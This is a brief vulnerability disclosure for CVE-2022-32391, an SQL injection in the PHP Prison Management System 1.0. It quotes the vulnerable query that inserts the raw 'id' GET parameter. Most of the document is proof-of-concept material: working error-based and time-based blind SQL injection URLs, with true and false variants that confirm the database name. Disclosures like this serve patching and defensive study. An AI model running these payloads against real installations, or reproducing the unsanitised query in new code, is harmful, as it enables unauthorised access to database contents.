CVE-2022-32391

Info

Prison Management System 1.0 - SQL Injection

Vendor Homepage : https://www.sourcecodester.com/

Software Link : https://www.sourcecodester.com/php/15368/prison-management-system-phpoop-free-source-code.html

[+] Vulnerability : SQL Injection
[+] Vulnerability Location : `$_GET['id']` in `/pms/admin/actions/view_action.php:4`

```
$qry = $conn->query("SELECT * from `action_list` where id = '{$_GET['id']}' and dele
```

PoC

- Payload :

```
# Error Based
http://localhost/pms/admin/actions/view_action.php?id=1'-
if(database()/**/=/**/'pms_db',0,1)%23

# Time Based
http://localhost/pms/admin/actions/view_action.php?id=1'-
if(database()/**/like/**/'pms_db',0,sleep(1))%23
```

- True : `http://localhost/pms/admin/actions/view_action.php?id=1'-if(database()/**/=/**/'pms_db',0,1)%23`

- False : `http://localhost/pms/admin/actions/view_action.php?id=1'-if(database()/**/=/**/'wrong',0,1)%23`